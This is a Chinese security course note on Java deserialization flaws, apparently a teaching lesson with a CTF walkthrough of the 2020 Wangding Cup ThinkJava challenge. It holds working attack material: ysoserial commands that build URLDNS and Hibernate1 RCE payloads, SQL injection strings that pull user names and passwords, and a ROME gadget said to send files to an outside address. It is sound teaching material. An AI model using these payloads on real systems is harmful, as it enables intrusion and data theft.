小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&数据提取&组件安全

#知识点:

1、Java 反序列化演示-原生 API 接口

2、Java 反序列化漏洞利用-Ysoserial 使用

3、Java 反序列化漏洞发现利用点-函数&数据

4、Java 反序列化考点-真实&CTF 赛题-审计分析

#内容点:

1、明白-Java 反序列化原理

2、判断-Java 反序列化漏洞

3、学会-Ysoserial 工具使用

4、学会-SerializationDumper

5、了解-简要 Java 代码审计分析

#前置知识:

序列化和反序列化的概念:

序列化:把 Java 对象转换为字节序列(字节流)的过程。

反序列化:把字节序列恢复为 Java 对象的过程。

对象的序列化主要有两种用途:

把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;(持久化对象)

在网络上传送对象的字节序列。(网络传输对象)

函数接口:

Java: Serializable Externalizable 接口、fastjson、jackson、gson、

ObjectInputStream.read、ObjectObjectInputStream.readUnshared、

XMLDecoder.read、ObjectYaml.loadXStream.fromXML、

ObjectMapper.readValue、JSON.parseObject 等

PHP: serialize()、 unserialize()

Python:pickle

数据出现:

1、功能特性:

反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数

据落磁盘、或 DB 存储等业务场景。因此审计过程中重点关注这些功能板块。

2、数据特性:

一段数据以 rO0AB 开头,你基本可以确定这串就是 JAVA 序列化 base64 加密的数据。

或者如果以 aced 开头,那么他就是这一段 java 序列化的 16 进制。

3、出现具体:

http 参数,cookie,sesion,存储方式可能是 base64(rO0),压缩后的

base64(H4s),MII 等 Servlets http,Sockets,Session 管理器,包含的协议就包

发现:

黑盒分析:数据库出现地-观察数据特性

白盒分析:组件安全&函数搜索&功能模块

利用:

Ysoserial工具利用


Ø 原生 API-Ysoserial_URLDNS 使用

Ø 三方组件-Ysoserial_支持库生成使用

Ø 解密分析-SerializationDumper 数据分析

Ø CTF 赛题-[网鼎杯 2020 朱雀组]ThinkJava


#java序列化和反序列化

具体代码:

package SerialTest;

import java.io.*;

public class SerializableTest {

public static void main(String[] args) throws Exception {

serialPerson();

Person person = deserialPerson();

System.out.println(person);

}

/**

* Person对象序列化

* @throws IOException

*/

private static void serialPerson() throws IOException {

Person person = new Person("xiaodi", 28, "男", 101);

ObjectOutputStream oos = new ObjectOutputStream(

new FileOutputStream(new File("d:/person.txt"))

);

oos.writeObject(person);

System.out.println("person 对象序列化成功!");

oos.close();

}

/**

* Person对象反序列化

* @return

* @throws Exception

*/

private static Person deserialPerson() throws Exception {

ObjectInputStream ois = new ObjectInputStream(

new FileInputStream(new File("d:/x.txt"))

);

Person person = (Person)ois.readObject();

System.out.println("person 对象反序列化成功!");

//Runtime.getRuntime().exec("calc.exe");

return person;

}

}

正序列化

符合数据特性中的aced开头

利用:当我们对序列化后的数据进行数据更改,构造出恶意代码,再放回去,便形成了反序列化攻击

#原生 API-Ysoserial_URLDNS 使用

由于Ys工具多半是针对原生类的,而现在大多数都是以组件的形式,格式可能不支持

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar

Serializable 接口

Externalizable 接口

没组件生成 DNS 利用:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://43x1nz.dnslog.cn" > urldns.ser

修改文件,将person文件换为a.txt载入使反序列化

相关的DNS收到其信息,说明其会进行反序列化并进行执行

#三方组件-Ysoserial_支持库生成使用

https://github.com/WebGoat/WebGoat

有组件生成 RCE:

将此文件库保存下来,进行引用

1、生成:java -Dhibernate5 -cp hibernate-core-

5.4.9.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar

ysoserial.GeneratePayload Hibernate1 "calc.exe" > x.bin

进行本地执行计算机的命令

生成以ACED头的

而题中的要求要rO0AB 开头,故需进行base64加密

2、解码:python java.py

import base64

file = open("x.bin","rb")

now = file.read()

ba = base64.b64encode(now)

print(ba)

file.close()

成功

#解密分析-SerializationDumper 数据分析

在代码审计中或代码利用时判断是否成功------只支持十六进制

https://github.com/NickstaDB/SerializationDumper

java -jar SerializationDumper-v1.13.jar -r urldns.ser >dns.txt

#CTF 赛题-[网鼎杯 2020 朱雀组]ThinkJava

0x01 注入判断,获取管理员帐号密码:

根据提示附件进行 javaweb 代码审计,发现可能存在注入漏洞

另外有 swagger 开发接口,测试注入漏洞及访问接口进行调用测试

数据库名:myapp,列名 name,pwd

注入测试:

POST /common/test/sqlDict

dbName=myapp?a=' union select (select name from user)#

dbName=myapp?a=' union select (select pwd from user)#

0x02 接口测试

/swagger-ui.html 接口测试:

{

"password":"admin@Rrrr_ctf_asde",

"username": "admin"

}

根据题目中给的swagger的接口login,进行测试

发现,data里有反序列化数据,解密一下(base64解密java_bs.py+SerializationDumper解密)

在接口current下,输入data数据

操作成功,且得知了是admin操作的,这就说明在序列化下存在admin的权限,且只有此功能存在了对序列化的读取才会知道有admin用户,故存在反序列化操作

利用原生类URLDNS进行测试

同时进行base64加密------Java.python------因为data里的序列化为rO0AB 开头

提交

有了,漏洞存在

获取flag

ROME:让对方的指定文件发送到指定地址中

成功监听

相关推荐
神仙别闹4 分钟前
基于C#和Sql Server 2008实现的(WinForm)订单生成系统
开发语言·c#
XINGTECODE5 分钟前
海盗王集成网关和商城服务端功能golang版
开发语言·后端·golang
天天扭码11 分钟前
五天SpringCloud计划——DAY2之单体架构和微服务架构的选择和转换原则
java·spring cloud·微服务·架构
程序猿进阶11 分钟前
堆外内存泄露排查经历
java·jvm·后端·面试·性能优化·oom·内存泄露
FIN技术铺16 分钟前
Spring Boot框架Starter组件整理
java·spring boot·后端
zwjapple22 分钟前
typescript里面正则的使用
开发语言·javascript·正则表达式
小五Five23 分钟前
TypeScript项目中Axios的封装
开发语言·前端·javascript
小曲程序23 分钟前
vue3 封装request请求
java·前端·typescript·vue
前端每日三省25 分钟前
面试题-TS(八):什么是装饰器(decorators)?如何在 TypeScript 中使用它们?
开发语言·前端·javascript
凡人的AI工具箱38 分钟前
15分钟学 Go 第 60 天 :综合项目展示 - 构建微服务电商平台(完整示例25000字)
开发语言·后端·微服务·架构·golang